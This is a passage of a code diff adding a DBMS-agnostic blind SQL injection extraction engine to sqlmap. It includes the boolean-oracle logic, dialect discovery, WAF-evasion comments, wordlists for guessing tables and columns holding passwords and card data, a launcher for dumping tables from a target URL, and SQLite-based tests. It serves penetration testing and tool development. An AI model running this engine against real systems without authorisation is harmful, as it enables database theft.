for i, name in enumerate(result["columns"]):
values = [("NULL" if row[i] is None else row[i]) for row in result["rows"]]
width = max([len(name)] + [len(v) for v in values]) if values else len(name)
table_data[name] = {"length": width, "values": values}
table_data["__infos__"] = {"count": len(result["rows"]), "table": conf.tbl, "db": self._db()}
if not result["complete"]:
logger.warning("Esperanto dump of '%s' may be incomplete" % conf.tbl)
kb.data.dumpedTable = table_data
conf.dumper.dbTableValues(kb.data.dumpedTable)
return _EsperantoHandler()

119
extra/esperanto/oracle.py Normal file
View file

@ -0,0 +1,119 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
from contextlib import contextmanager
from .atlas import *
from .records import *
class _OracleCore(object):
"""_OracleCore
the boolean-oracle contract + tiny SQL formatters (nothing dialect-specific)."""
@contextmanager
def _probePhase(self):
# mark a candidate-rung laddering section (discovery or lazy _ensure*): while
# active, a host oracle may safely read an undecidable probe as False ("this
# rung is unusable"), whereas outside it an undecidable READ must stay undecided
prev = self._probing
self._probing = True
try:
yield
finally:
self._probing = prev
def _emit(self, value):
if self._progress and value not in (None, ""):
try:
self._progress(value)
except Exception:
pass
def _probe(self, condition):
# ONE tri-state evaluation: True / False / None(persistent error). a raised
# oracle is retried (transient) before being reported as an error - a
# wrong-dialect probe legitimately errors, but a flaky connection must not
# be allowed to read as a definitive False. counts every actual oracle call.
for _ in range(self.retries + 1):
if self.max_queries is not None and self._queries >= self.max_queries:
raise QueryBudgetExceeded("oracle query budget exhausted at %d calls" % self._queries)
self._queries += 1
try:
observed = self.oracle(condition)
except Exception:
continue
# STRICT: only a real bool is an observation. None/0/''/other must not be
# coerced to False (that silently corrupts bisection) - treat as undecided.
if observed is True or observed is False:
return observed
return None
def _ask(self, condition):
# decided boolean, or raise OracleUndecided - NEVER manufacture False from an
# unobservable probe (that would silently corrupt blind bisection). the oracle
# must itself return False for unsupported/rejected SQL; a raised probe means
# "could not observe" and, absent a quorum, is fatal.
if self.quorum <= 1:
r = self._probe(condition)
if self.verbose:
print(" [%s] %s" % ("T" if r else ("E" if r is None else "f"), condition))
if r is None:
# while laddering CANDIDATE rungs an undecidable/erroring probe (oracle
# returned None OR raised - both surface here as None) means "this rung is
# unusable", so read it as False and let the ladder move on; only OUTSIDE
# probing (reading committed data) is it fatal, so a flaky read never
# silently coerces to a definite bit
if self._probing:
return False
self._errors += 1
raise OracleUndecided("oracle could not decide: %s" % condition)
return r
samples = 2 * self.quorum - 1
yes = no = tries = 0
while (yes + no) < samples and tries < samples + self.quorum + 2:
tries += 1
r = self._probe(condition)
if r is None:
self._errors += 1
continue
yes, no = (yes + 1, no) if r else (yes, no + 1)
if yes >= self.quorum or no >= self.quorum:
break
if self.verbose:
state = "T" if yes >= self.quorum else ("f" if no >= self.quorum else "E")
print(" [%s %d:%d] %s" % (state, yes, no, condition))
if yes >= self.quorum:
return True
if no >= self.quorum:
return False
if self._probing: # candidate rung the vote couldn't settle -> unusable, not fatal
return False
raise OracleUndecided("oracle vote undecided: %s (%d true / %d false)" % (condition, yes, no))
def _sub(self, expr, pos, length):
# pos is always passed 1-based; adjust for a 0-based dialect if discovered
p = pos if self.dialect.substring.get("index_base", 1) == 1 else pos - 1
return self.dialect.substring[1].format(expr=expr, pos=p, len=length)
def _len(self, expr):
return self.dialect.length[1].format(expr=expr)
def _sanity(self):
return self._ask("1=1") and not self._ask("1=2") and \
self._ask("'a'='a'") and not self._ask("'a'='b'")
def _exists(self, source, column="1"):
# does `source` (a table/catalog) - and optionally `column` in it - resolve?
# WITHOUT COUNT (which a WAF may filter): a scalar subquery over it is NULL when
# it resolves (WHERE 1=0 -> 0 rows) and ERRORS -> False when it doesn't. Works
# for empty tables too. `column` is passed BARE so a nonexistent one errors,
# rather than being taken as a string literal (SQLite quirk) and passing every
# fake name.
return self._ask("(SELECT %s FROM %s WHERE 1=0) IS NULL" % (column, source))

233
extra/esperanto/records.py Normal file
View file

@ -0,0 +1,233 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
from .atlas import *
class OracleUndecided(RuntimeError):
"""The oracle gave no reliable True/False after retries/voting - a transport or
observation failure, NOT a definitive answer. Raised so blind extraction fails
CLOSED instead of converging on plausible-but-wrong data from a manufactured
False. (A wrong-dialect/unsupported probe must be reported as False by the
oracle itself; exceptions are reserved for 'could not observe'.)"""
class Cap(object):
"""A discovered primitive: (name, template) PLUS measured semantic properties.
Indexable like the old (name, template) tuple so existing call sites keep working
(`cap[0]`, `cap[1]`), with `cap.props` / `cap.get(key)` for the measured facts -
e.g. length unit=characters|bytes, substring index_base, charcode semantics."""
__slots__ = ("name", "template", "props")
def __init__(self, name, template, **props):
self.name, self.template, self.props = name, template, props
def __getitem__(self, i):
return (self.name, self.template)[i]
def get(self, key, default=None):
return self.props.get(key, default)
def __repr__(self):
extra = (" " + " ".join("%s=%s" % kv for kv in sorted(self.props.items()))) if self.props else ""
return "%s(%s)" % (self.name, extra.strip() or self.template)
class ExtractResult(object):
"""Structured extraction outcome - keeps NULL, empty, truncated and failed
distinct (str-like so `str(r)`/truthiness still read naturally)."""
__slots__ = ("value", "is_null", "complete", "truncated", "queries", "warnings")
def __init__(self, value, is_null=False, complete=True, truncated=False, queries=0, warnings=None):
self.value = value
self.is_null = is_null
self.complete = complete
self.truncated = truncated
self.queries = queries
self.warnings = warnings or []
def __str__(self):
return "" if self.value is None else self.value
def __bool__(self):
return bool(self.value)
__nonzero__ = __bool__ # py2
def __repr__(self):
return ("ExtractResult(value=%r null=%s complete=%s truncated=%s q=%d%s)"
% (self.value, self.is_null, self.complete, self.truncated, self.queries,
" warnings=%r" % self.warnings if self.warnings else ""))
class BulkResult(object):
"""List-like bulk-enumeration outcome that also reports completeness against an
independent COUNT (so a truncated dump is visible, not silently short)."""
__slots__ = ("values", "expected", "complete")
def __init__(self, values, expected=None, complete=True):
self.values = values
self.expected = expected
self.complete = complete
def __iter__(self):
return iter(self.values)
def __len__(self):
return len(self.values)
def __getitem__(self, i):
return self.values[i]
def __repr__(self):
return "%r%s" % (self.values, "" if self.complete else " (incomplete: %s of %s)" % (len(self.values), self.expected))
class Dialect(object):
"""Discovered target profile - the synthesized 'queries.xml row'."""
__slots__ = ("concat", "substring", "length", "bytelen", "textcast",
"coalesce", "charcode", "charfrom", "hexfn", "binwrap",
"bulkAgg", "dual", "identQuote", "prefix", "compare", "ordered",
"identity", "catalog", "catalogEnum", "family", "product",
"version", "evidence", "notes")
def __init__(self):
self.identQuote = None # (open, close) identifier-quote chars, or None
self.prefix = None # (op, multi, single) LIKE/GLOB fallback, or None
self.concat = None # (name, template)
self.substring = None
self.length = None
self.bytelen = None # (name, template) byte length (vs char length)
self.textcast = None # (name, template) scalar -> text
self.coalesce = None # (name, template) NULL guard
self.charcode = None # None -> no code fn (direct-compare mode)
self.charfrom = None
self.hexfn = None # (name, template) for hex/byte extraction
self.binwrap = None # (name, template) byte-ordered comparison wrapper
self.bulkAgg = None # (name, template) row-aggregation for bulk enum
self.dual = None # (name, from-suffix) tableless-SELECT skeleton
self.compare = None # 'code' | 'collation' | 'hex' | 'ordinal' | 'equality' | 'equality-ci'
self.ordered = False # 'b' > 'a' holds (lexicographic bisection ok)
self.identity = {}
self.catalog = None
self.catalogEnum = {} # {kind: (name_col, source, filter)}
self.family = None # from the catalog probe
self.product = None # best-guess product (the detective verdict)
self.version = None # extracted banner string
self.evidence = [] # [(signal, implication), ...]
self.notes = []
def __repr__(self):
pick = lambda x: x[0] if x else None
return ("Dialect(concat=%r substring=%r length=%r compare=%r dual=%r "
"catalog=%r product=%r)" % (
pick(self.concat), pick(self.substring), pick(self.length),
self.compare, pick(self.dual), self.catalog,
self.product or self.family))
class InferenceStrategy(object):
"""An immutable, host-consumable rendering of a discovered dialect.
This is the crystallization esperanto is really for: the discovery half produces
ONE frozen strategy, and a host inference engine (ideally sqlmap's existing
bisection - which already owns threading, hashDB resume, prediction, and the
known-answer reliability litmus) drives the loop by calling these PURE render_*
methods. No oracle here, no retrieval loop - just SQL construction from the
discovered primitives. Frozen after construction so worker threads can share it.
The reference host loop `hostExtract()` below proves this interface is
*sufficient*: it extracts data using ONLY a strategy + an oracle, with no
dependency on Esperanto's own retrieval code.
"""
_FIELDS = ("product", "family", "compare_mode", "catalog", "dual", "notes",
"substring", "index_base", "length", "charcode", "charcode_sem",
"hexfn", "binwrap", "charfrom", "concat", "identquote", "backslash")
def __init__(self, **kw):
for f in self._FIELDS:
object.__setattr__(self, f, kw.get(f))
object.__setattr__(self, "_frozen", True)
def __setattr__(self, *a): # immutable
raise AttributeError("InferenceStrategy is frozen")
# -- pure SQL construction (no oracle) ----------------------------------
def substr(self, expr, pos, length=1):
p = pos if self.index_base == 1 else pos - 1
return self.substring.format(expr=expr, pos=p, len=length)
def renderLength(self, expr):
return self.length.format(expr=expr)
def renderIsNull(self, expr):
return "(%s) IS NULL" % expr
def renderHex(self, expr):
return self.hexfn.format(expr=expr) if self.hexfn else None
def renderCode(self, expr, pos):
# scalar code point of the char at pos (None unless a code fn was found)
return self.charcode.format(expr=self.substr(expr, pos)) if self.charcode else None
def renderCharCmp(self, expr, pos, ch, op=">"):
# boolean: char at pos <op> literal ch, byte-ordered when a binary wrapper
# is available (else the target's own collation)
one = self.substr(expr, pos)
if self.binwrap:
return "%s%s%s" % (self.binwrap.format(x=one), op, self.binwrap.format(x=self.lit(ch)))
return "%s%s%s" % (one, op, self.lit(ch))
def renderExactEq(self, left, right):
# whole-value byte-exact equality (hex > binary wrapper > plain)
if self.hexfn:
return "(%s)=(%s)" % (self.hexfn.format(expr=left), self.hexfn.format(expr=right))
if self.binwrap:
return "(%s)=(%s)" % (self.binwrap.format(x=left), self.binwrap.format(x=right))
return "(%s)=(%s)" % (left, right)
def lit(self, value):
s = value.replace("\\", "\\\\") if self.backslash else value
return "'%s'" % s.replace("'", "''")
def buildLiteral(self, value):
if value and self.charfrom and self.concat and all(0 < ord(c) < 128 for c in value):
parts = [self.charfrom.format(code=ord(c)) for c in value]
out = parts[0]
for p in parts[1:]:
out = self.concat.format(a=out, b=p)
return out
return self.lit(value)
def quoteIdent(self, name):
if not self.identquote:
return name
o, c = self.identquote
return "%s%s%s" % (o, name.replace(c, c * 2), c)
def asQueriesRow(self):
"""The sqlmap queries.xml-shaped mapping - the concrete integration hook.
These four templates are what sqlmap's inference/error/union machinery reads
from queries[Backend.getIdentifiedDbms()]."""
return {
"length": self.length,
"substring": self.substring,
"inference": ("%s>%%d" % self.charcode.format(expr=self.substr("%s", "%d")))
if self.charcode else None,
"case": "SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)" + self.dual,
"hex": self.hexfn,
}
def __repr__(self):
return "InferenceStrategy(product=%r compare=%r catalog=%r)" % (
self.product, self.compare_mode, self.catalog)
class QueryBudgetExceeded(OracleUndecided):
"""The configured hard oracle-call budget was exhausted mid-operation."""

31
extra/esperanto/run.py Normal file
View file

@ -0,0 +1,31 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
Standalone launcher for the DBMS-agnostic Esperanto engine. Run it straight from this
directory - no sqlmap, no PYTHONPATH, no `-m` incantation:
python run.py -u 'http://host/vuln?id=1*' --string <true-marker> --tables --dump -T users
python run.py --self-test
python run.py --live # local DBMS dev harness
The package is fully self-contained (bundled wordlists, no sqlmap imports in the engine),
so the whole directory can be copied elsewhere and still run. sqlmap uses the very same
package via `from extra.esperanto import buildHandler`, handing the engine its own boolean
oracle (checkBooleanExpression); this launcher is only for standalone use.
"""
import importlib
import os
import sys
# make this package importable by its own (folder) name from any working directory, so
# the relative imports inside resolve, then hand off to the CLI in __main__
_HERE = os.path.dirname(os.path.abspath(__file__))
sys.path.insert(0, os.path.dirname(_HERE))
main = importlib.import_module("%s.__main__" % os.path.basename(_HERE)).main
if __name__ == "__main__":
sys.exit(main())

View file

@ -0,0 +1,77 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
Common table/column names for the brute-force fallback used when the system catalog
is unreadable or unknown (permission wall, exotic/Frankenstein engine, CTF). This is
the "know nothing about the schema, guess the usual names" path - the equivalent of
sqlmap's --common-tables / --common-columns. sqlmap's own (much larger) wordlists are
preferred when this package runs inside the repo; the bundled curated lists below are
the self-contained fallback so the standalone CLI works with no external files.
"""
import os
# curated, most-common first; kept deliberately small so brute-forcing stays practical
# over a slow blind oracle (sqlmap's full lists are used instead when available)
_BUNDLED_TABLES = (
"users", "user", "admin", "administrator", "accounts", "account", "members",
"member", "customers", "customer", "clients", "client", "people", "persons",
"employees", "staff", "contacts", "profiles", "profile", "sessions", "session",
"orders", "order", "products", "product", "items", "item", "categories",
"category", "cart", "carts", "invoices", "payments", "transactions", "coupons",
"rates", "reviews", "ratings", "inventory", "stock", "shipping", "posts", "post",
"articles", "pages", "page", "comments", "messages", "message", "news", "blog",
"blogs", "tags", "notifications", "subscriptions", "feedback", "files", "file",
"uploads", "images", "documents", "media", "config", "configuration", "settings",
"setting", "options", "preferences", "roles", "role", "permissions", "groups",
"group", "tokens", "token", "secrets", "secret", "credentials", "passwords",
"keys", "apikeys", "api_keys", "cards", "creditcards", "credit_cards", "logs",
"log", "events", "event", "audit", "audit_log", "history", "activity", "data",
"records", "metadata", "backup", "backups", "temp", "tmp", "test", "flags",
)
_BUNDLED_COLUMNS = (
"id", "uid", "user_id", "userid", "guid", "name", "username", "uname", "user",
"login", "handle", "nick", "nickname", "pass", "passwd", "password", "pwd",
"pass_hash", "password_hash", "hash", "salt", "email", "mail", "e_mail",
"first_name", "firstname", "fname", "last_name", "lastname", "lname", "fullname",
"full_name", "surname", "display_name", "phone", "mobile", "tel", "address",
"addr", "street", "city", "country", "state", "zip", "zipcode", "postcode",
"dob", "birthdate", "age", "gender", "sex", "role", "roles", "is_admin", "admin",
"level", "active", "is_active", "enabled", "disabled", "banned", "status",
"verified", "created", "created_at", "created_on", "updated", "updated_at",
"modified", "deleted", "deleted_at", "last_login", "timestamp", "date", "time",
"token", "api_key", "apikey", "session", "secret", "key", "value", "data",
"content", "body", "text", "title", "subject", "description", "comment", "note",
"notes", "message", "url", "link", "ip", "ip_address", "useragent", "referer",
"cc", "card", "creditcard", "credit_card", "card_number", "cvv", "cvc", "expiry",
"amount", "price", "cost", "total", "balance", "quantity", "qty", "count", "code",
"type", "category", "tag", "slug", "flag", "flags", "extra", "meta", "settings",
)
def _fromFile(fname):
# sqlmap's own wordlist when this runs inside the repo (data/txt/<fname>).
# located relative to this file: extra/esperanto/ -> ../../data/txt/
path = os.path.join(os.path.dirname(__file__), "..", "..", "data", "txt", fname)
try:
with open(path) as fh:
names = [line.strip() for line in fh if line.strip() and not line.startswith("#")]
return names or None
except (IOError, OSError):
return None
def commonTables():
"""Candidate table names, most-common first. sqlmap's list if present, else bundled."""
return _fromFile("common-tables.txt") or list(_BUNDLED_TABLES)
def commonColumns():
"""Candidate column names, most-common first. sqlmap's list if present, else bundled."""
return _fromFile("common-columns.txt") or list(_BUNDLED_COLUMNS)

View file

@ -77,7 +77,7 @@ def action():
kb.tamperFunctions = (kb.tamperFunctions or []) + [function]
logger.info("using tamper scripts 'blindbinary' and 'infoschema2innodb' so data retrieval and table enumeration can pass the WAF/IPS")
if not Backend.getDbms() or not conf.dbmsHandler:
if (not Backend.getDbms() and not conf.esperanto) or not conf.dbmsHandler:
htmlParsed = Format.getErrorParsedDBMSes()
errMsg = "sqlmap was not able to fingerprint the "

View file

@ -10,6 +10,7 @@ from lib.core.common import getSafeExString
from lib.core.common import singleTimeWarnMessage
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.dicts import DBMS_DICT
from lib.core.enums import DBMS
from lib.core.dicts import DBWIRE_MODULES
@ -86,6 +87,15 @@ def setHandler():
management system.
"""
if conf.esperanto:
# force the DBMS-agnostic engine: skip per-DBMS fingerprinting entirely and
# let the boolean-oracle 'esperanto' handler drive enumeration.
from extra.esperanto import buildHandler
conf.dbmsHandler = buildHandler()
conf.dbmsHandler._dbms = "Esperanto"
logger.info("using the DBMS-agnostic 'Esperanto' engine (fingerprinting skipped)")
return
items = [
(DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, "plugins.dbms.mysql.connector"),
(DBMS.ORACLE, ORACLE_ALIASES, OracleMap, "plugins.dbms.oracle.connector"),

View file

@ -76,10 +76,16 @@ def _serializeEncode(value):
# string that would round-trip as 'unicode') keeps the exact byte type across versions
if isinstance(value, (six.binary_type, bytearray)):
raw = bytes(value) if isinstance(value, bytearray) else value
return {_SERIALIZE_TAG: "b", "v": encodeBase64(raw, binary=False), "a": 1 if isinstance(value, bytearray) else 0}
retVal = {_SERIALIZE_TAG: "b", "v": encodeBase64(raw, binary=False), "a": 1 if isinstance(value, bytearray) else 0}
if six.PY3: # mark genuine Python 3 bytes so restore keeps them bytes; a
retVal["pv"] = 3 # Python 2 'str' (text) is unmarked and recovered as text (see decode)
return retVal
if isinstance(value, memoryview):
return {_SERIALIZE_TAG: "b", "v": encodeBase64(value.tobytes(), binary=False), "a": 0}
retVal = {_SERIALIZE_TAG: "b", "v": encodeBase64(value.tobytes(), binary=False), "a": 0}
if six.PY3:
retVal["pv"] = 3
return retVal
try:
if isinstance(value, buffer): # noqa: F821 # Python 2 only
@ -171,7 +177,19 @@ def _serializeDecode(struct):
if tag == "b":
raw = decodeBase64(struct["v"], binary=True)
return bytearray(raw) if struct.get("a") else raw
if struct.get("a"):
return bytearray(raw)
# Genuine Python 3 bytes (pv==3) are kept as-is. A value WITHOUT the marker was
# written by Python 2, whose text-'str' goes through this bytes branch; on Python 3
# that would surface as 'bytes' and break str consumers - most visibly kb.chars,
# whose str-key lookups then return None and crash cleanupPayload(). Recover such
# cross-version TEXT by decoding valid UTF-8 to 'str'; real binary stays bytes.
if struct.get("pv") == 3:
return raw
try:
return raw.decode("utf-8")
except UnicodeDecodeError:
return raw
elif tag == "t":
return tuple(_serializeDecode(_) for _ in struct["v"])
elif tag == "f":

View file

@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.7.106"
VERSION = "1.10.7.107"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

View file

@ -355,6 +355,9 @@ def cmdLineParser(argv=None):
injection.add_argument("--dbms-cred", dest="dbmsCred",
help="DBMS authentication credentials (user:password)")
injection.add_argument("--esperanto", dest="esperanto", action="store_true",
help="Use the DBMS-agnostic enumeration engine")
injection.add_argument("--os", dest="os",
help="Force back-end DBMS operating system to provided value")

View file

@ -633,9 +633,10 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion
if expected == EXPECTED.BOOL:
# Note: some DBMSes (e.g. Altibase) don't support implicit conversion of boolean check result during concatenation with prefix and suffix (e.g. 'qjjvq'||(1=1)||'qbbbq')
# Note: some DBMSes (e.g. Altibase, SQL Server) don't support implicit conversion of boolean check result during concatenation with prefix and suffix (e.g. 'qjjvq'||(1=1)||'qbbbq')
if not any(_ in forgeCaseExpression for _ in ("SELECT", "CASE")):
# skip only when already CASE-wrapped or a bare scalar SELECT value (cf. the startswith check above); a boolean predicate that merely EMBEDS a subquery (e.g. '(SELECT ...) IS NULL', common when the DBMS is unidentified and forgeCaseStatement() is a no-op) still needs wrapping for concatenation safety
if "CASE" not in forgeCaseExpression and not forgeCaseExpression.startswith("SELECT "):
forgeCaseExpression = "(CASE WHEN (%s) THEN '1' ELSE '0' END)" % forgeCaseExpression
try:

656
tests/test_esperanto.py Normal file
View file

@ -0,0 +1,656 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
Regression suite for the DBMS-agnostic engine (extra/esperanto/), in two parts:
1. Semantic corpus - round-trips awkward values through an in-memory SQLite boolean
oracle and asserts the correctness invariants the engine must never break: no silent
character substitution or deletion, length never exceeds maxlen (over-length is
flagged), limit=0 is an incomplete empty prefix, NULL stays distinct from '',
truncation sets complete=False, bytes-first extraction is byte-exact, and the
capability fallbacks (pattern-match floor, length-from-substring, LEFT/RIGHT
composition) and the frozen InferenceStrategy hand-off all still extract.
2. Adversarial dialect scenarios - an intermediate oracle disguises the same SQLite as
a different / hostile back-end by BLOCKING the SQL forms the fake engine lacks and
REWRITING its forms into the SQLite equivalent, so the engine must discover and adapt
the dialect it is handed (substring=SUBSTRING, length=LEN, charcode=ASCII,
concat=CONCAT, no usable '>'/BETWEEN, no readable catalog) rather than only working
on dialects it already knows.
stdlib unittest only; Python 2.7 and 3.x.
"""
import os
import re
import sqlite3
import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
from extra.esperanto import Cap
from extra.esperanto import Esperanto
from extra.esperanto import hostExtract
EXPR = "(SELECT v FROM t)"
# awkward values (NULL handled separately - it is not a string value)
CORPUS = [
u"", u"A", u"AB", u"A ", u" leading", u"trailing ", u"two spaces",
u"O'Reilly", u'double"quote', u"comma,value", u"back\\slash",
u"line\nbreak", u"\t", u"é", u"", u"中文",
u"\U00010348", u"Aé€\U00010348Z",
]
def _oracle(value=None, is_null=False):
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE t (v TEXT)")
con.execute("INSERT INTO t VALUES (?)", (None if is_null else value,))
con.commit()
def ask(cond):
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except Exception:
return False
return ask
# -- adversarial dialect scenarios: one SQLite disguised as many hostile back-ends -----
# ground truth seeded into every disguised scenario
_SEED = (
"CREATE TABLE users (id INTEGER, name TEXT, email TEXT)",
"INSERT INTO users VALUES (1,'luther','a@b.c'),(2,'admin','p@w.n'),(3,'wu',NULL)",
)
_SECRET_EXPR = "(SELECT name FROM users WHERE id=2)" # -> 'admin'
def _concatFn(*args):
return "".join(u"" if a is None else (a if isinstance(a, type(u"")) else str(a)) for a in args)
def _disguisedOracle(blocked=None, rewrites=(), funcs=()):
"""Boolean oracle over a disguised SQLite. `blocked` (regex) forms read False (the
fake engine lacks them); `rewrites` translate the fake engine's forms into SQLite;
`funcs` registers extra SQL functions (e.g. a variadic CONCAT SQLite lacks). The
engine never sees SQLite - it must adapt to whatever back-end the scenario emulates."""
con = sqlite3.connect(":memory:")
for name, narg, fn in funcs:
con.create_function(name, narg, fn)
for stmt in _SEED:
con.execute(stmt)
con.commit()
blk = re.compile(blocked, re.I) if blocked else None
rw = [(re.compile(p, re.I), r) for p, r in rewrites]
def ask(cond):
if blk and blk.search(cond):
return False # fake engine doesn't support it
sql = cond
for rx, rep in rw:
sql = rx.sub(rep, sql)
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % sql).fetchone()[0] == 1
except Exception:
return False
return ask
# coherent whole-back-end disguises: each blocks the forms its fake DBMS lacks and maps
# the forms it "has" onto SQLite. All must discover the dialect and dump every row.
# (name, blocked, rewrites, funcs)
_DIALECTS = (
("mysql-ish: MID / CHAR_LENGTH / ORD, backtick idents, || is OR -> CONCAT",
r"\bSUBSTR\(|\bSUBSTRING\(|\bLEN\(|\bLENGTH\(|\bASCII\(|\bUNICODE\(|\|\|",
[(r"\bMID\(", "substr("), (r"CHAR_LENGTH\(", "length("), (r"\bORD\(", "unicode("), (r"`", '"')],
[("CONCAT", -1, _concatFn)]),
("mssql-ish: SUBSTRING / LEN / UNICODE, '+' concat, [..] idents",
r"\bSUBSTR\(|\bMID\(|CHAR_LENGTH\(|\bLENGTH\(|\bASCII\(|\bORD\(|\|\||\bCONCAT\(|\"|`",
[(r"SUBSTRING\(", "substr("), (r"\bLEN\(", "length("), (r"\)\+\(", ")||(")],
()),
("postgres-ish: SUBSTRING / LENGTH / ASCII, || concat",
r"\bSUBSTR\(|\bMID\(|\bLEN\(|CHAR_LENGTH\(|\bUNICODE\(|\bORD\(",
[(r"SUBSTRING\(", "substr("), (r"\bASCII\(", "unicode(")],
()),
("oracle-ish: SUBSTR / LENGTH / ASCII / CHR, || concat",
r"\bMID\(|\bLEN\(|CHAR_LENGTH\(|\bUNICODE\(|\bORD\(|\bCHAR\(",
[(r"\bASCII\(", "unicode("), (r"\bCHR\(", "char(")],
()),
("waf: code fns and collation stripped -> forced hex extraction",
r"\bASCII\(|\bUNICODE\(|\bORD\(|CODEPOINT\(|COLLATE|AS\s+BLOB",
(), ()),
("waf: '>'/'<' stripped on top of a MID/CHAR_LENGTH dialect",
r">|<|\bSUBSTR\(|\bSUBSTRING\(|\bLENGTH\(|\bLEN\(|\|\|",
[(r"\bMID\(", "substr("), (r"CHAR_LENGTH\(", "length(")],
[("CONCAT", -1, _concatFn)]),
)
class TestEsperanto(unittest.TestCase):
def test_bytes_roundtrip(self):
# bytes-first round-trips EVERY value exactly (the fundamental guarantee)
for v in CORPUS:
esp = Esperanto(_oracle(v))
esp.discover()
self.assertEqual(esp.extractBytes(EXPR), v.encode("utf-8"), "extractBytes %r" % v)
self.assertEqual(esp.extractText(EXPR), v, "extractText %r" % v)
def test_no_silent_corruption(self):
# any deviation must be surfaced (replacement marker + warning), never a
# wrong-but-plausible character silently substituted
for v in CORPUS:
for mode in ("code", "ordinal", "collation", "hex"):
esp = Esperanto(_oracle(v))
esp.discover()
esp.dialect.compare = mode
if mode == "hex":
esp._ensureHexfn()
elif mode == "collation": # SQLite is byte-ordered via BLOB cast
esp.dialect.binwrap = Cap("cast_blob", "CAST(({x}) AS BLOB)")
res = esp.extractResult(EXPR)
if res.value == v:
continue
self.assertTrue(not res.complete and res.warnings,
"silent corruption in %s mode for %r -> %r" % (mode, v, res.value))
self.assertTrue(u"<EFBFBD>" in res.value or res.value == u"",
"%s mode invented a value for %r -> %r" % (mode, v, res.value))
def test_null_vs_empty(self):
esp = Esperanto(_oracle(is_null=True))
esp.discover()
rnull = esp.extractResult(EXPR)
self.assertTrue(rnull.is_null and rnull.value is None, "NULL not null: %r" % rnull)
esp = Esperanto(_oracle(u""))
esp.discover()
rempty = esp.extractResult(EXPR)
self.assertTrue((not rempty.is_null) and rempty.value == u"" and rempty.complete,
"empty string mis-reported: %r" % rempty)
def test_limit_and_maxlen(self):
# limit=0 on a non-empty value -> empty prefix, but INCOMPLETE/TRUNCATED
esp = Esperanto(_oracle(u"hello"))
esp.discover()
r0 = esp.extractResult(EXPR, limit=0)
self.assertTrue(r0.value == u"" and r0.truncated and not r0.complete, "limit=0: %r" % r0)
# over-maxlen -> truncated flagged, length bounded
esp = Esperanto(_oracle(u"0123456789ABCDEF"), maxlen=4)
esp.discover()
rt = esp.extractResult(EXPR)
self.assertTrue(rt.truncated and not rt.complete and len(rt.value) <= 4, "over-maxlen: %r" % rt)
def test_integer(self):
for n in (0, 1, 42, 255, 65535, 1000000, 2147483648, -1, -42):
esp = Esperanto(_oracle())
esp.discover()
self.assertEqual(esp.extractInteger("(%d)" % n), n, "extractInteger(%d)" % n)
def test_fixup_length(self):
# a trailing-space-trimming length fn is rebuilt as LEN(x||'.')-1
esp = Esperanto(_oracle(u"x"))
esp.discover()
esp.dialect.length = Cap("LEN", "LEN({expr})", unit="characters", trailing=False, empty_is_null=False)
esp.dialect.concat = Cap("plus", "({a})+({b})")
esp._fixupLength()
self.assertTrue(esp.dialect.length.name.endswith("+dot") and esp.dialect.length.get("trailing"),
"_fixupLength did not rebuild: %r" % esp.dialect.length)
def test_lit_escaping(self):
esp = Esperanto(_oracle(u"x"))
esp.discover()
esp._backslashEscape = True
self.assertEqual(esp._lit("\\"), "'\\\\'")
esp._backslashEscape = False
self.assertEqual(esp._lit("\\"), "'\\'")
self.assertEqual(esp._lit("'"), "''''")
def test_build_literal(self):
esp = Esperanto(_oracle(u"x"))
esp.discover()
lit = esp.buildLiteral("a\\b'c")
self.assertTrue(esp._ask("%s IS NOT NULL" % lit), "buildLiteral invalid SQL: %s" % lit)
self.assertEqual(esp.extract(lit), "a\\b'c")
def test_coalesce(self):
esp = Esperanto(_oracle(u"x"))
esp.discover()
if esp.dialect.coalesce:
self.assertEqual(esp.extract(esp.coalesce("NULL", "'Z'")), "Z")
def test_enumerate(self):
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE alpha (x)")
con.execute("CREATE TABLE beta (y)")
con.commit()
def ask(cond):
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except Exception:
return False
esp = Esperanto(ask)
esp.discover()
tabs = set(esp.enumerate("table", limit=10) or [])
self.assertTrue(set(["alpha", "beta"]).issubset(tabs), "enumerate tables: %r" % tabs)
def test_dump(self):
# row DATA byte-exact, including commas / quotes / unicode (hex framing keeps intact)
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE users (id, uname, note)")
truth = [(1, u"admin", u"all,good"), (2, u"o'brien", u"café,€"), (3, u"x", u"")]
for row in truth:
con.execute("INSERT INTO users VALUES (?,?,?)", row)
con.commit()
def ask(cond):
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except Exception:
return False
